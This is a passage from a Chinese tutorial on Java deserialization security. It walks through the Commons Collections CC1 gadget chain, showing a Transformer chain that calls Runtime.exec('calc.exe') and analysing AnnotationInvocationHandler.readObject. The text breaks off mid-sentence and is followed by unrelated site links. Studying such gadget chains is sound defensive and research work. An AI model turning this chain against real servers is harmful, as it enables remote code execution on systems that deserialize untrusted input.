原因是Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable
接口 。而我们最早传给ConstantTransformer
的是 Runtime.getRuntime()
,Runtime类是没有实现 java.io.Serializable
接口的,所以不允许被序列化的 。
在前边的《Java安全之反射》一篇中,提到可以通过反射来获取当前上下文中的Runtime对象,而不需要直接使用这个类:
Method f = Runtime.class.getMethod("getRuntime");Runtime r = (Runtime) f.invoke(null);r.exec("calc.exe");
转换成Transformer的写法就是如下:
Transformer[] transformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"}};
这里我们将Runtime.getRuntime()
换成了 Runtime.class
,前者是一个 java.lang.Runtime
对象,后者是一个 java.lang.Class
对象 。Class类有实现Serializable
接口,所以可以被序列化的 。
这里是传入一个Runtime.class
,通过反射拿到Runtime.getRuntime()
,然后再反射拿到invoke
方法,再反射拿到exec
方法 。
仍然无法触发漏洞修改Transformer
数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列化时仍然没弹出计算器,这是为什么呢?

文章插图
这个实际上和
AnnotationInvocationHandler
类的逻辑有关,我们可以动态调试就会发现,在 AnnotationInvocationHandler#readObject
的逻辑中,有一个if语句对var7进行判断,只有在其不是null
的时候才会进入里面执行setValue
,否则不会进入也就不会触发漏洞:class AnnotationInvocationHandler implements InvocationHandler, Serializable {private final Class<? extends Annotation> type;private final Map<String, Object> memberValues;AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {this.type = var1;this.memberValues = var2;}private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {//this.type是实例化的时候传入的jdk自带的Target.class//getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {return;}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Entry var5 = (Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}}
那么如何让这个var7不为null呢?两个条件sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第一个参数必须是Annotation
的子类,且其中必须含有至少一个方法,假设方法名是X- 被
TransformedMap.decorate
修饰的Map中必须有一个键名为X
的元素
Retention.class
的原因,因为Retention有一个方法,名为
经验总结扩展阅读
- 猫之城浪花约会怎么配队
- 星之彼端丹铜事件该如何选择
- 星之彼端叶灵事件该怎么选择
- 三星s21怎么截图_三星s21的截图方法
- 买房网签之后还有什么流程
- soul怎么找回之前聊天的人 soul恢复聊天列表方法
- 廉租房购买之后能再卖吗 父亲的廉租房女儿可以继承吗
- 2023微博电影之夜嘉宾有哪些
- 又拍云之 Keepalived 高可用部署
- JVM调优工具使用手册